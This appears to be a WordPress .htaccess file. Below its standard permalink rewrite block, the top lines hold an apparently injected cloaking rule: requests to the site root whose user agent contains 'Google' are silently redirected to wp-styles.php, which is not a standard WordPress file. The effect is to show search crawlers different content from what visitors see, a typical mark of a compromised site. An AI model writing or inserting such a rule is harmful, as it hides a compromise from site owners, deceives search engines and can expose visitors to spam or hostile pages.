RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} Google [NC]
RewriteCond %{REQUEST_URI} ^/$
RewriteRule ^$ wp-styles.php [L]
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
DirectoryIndex index.php
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>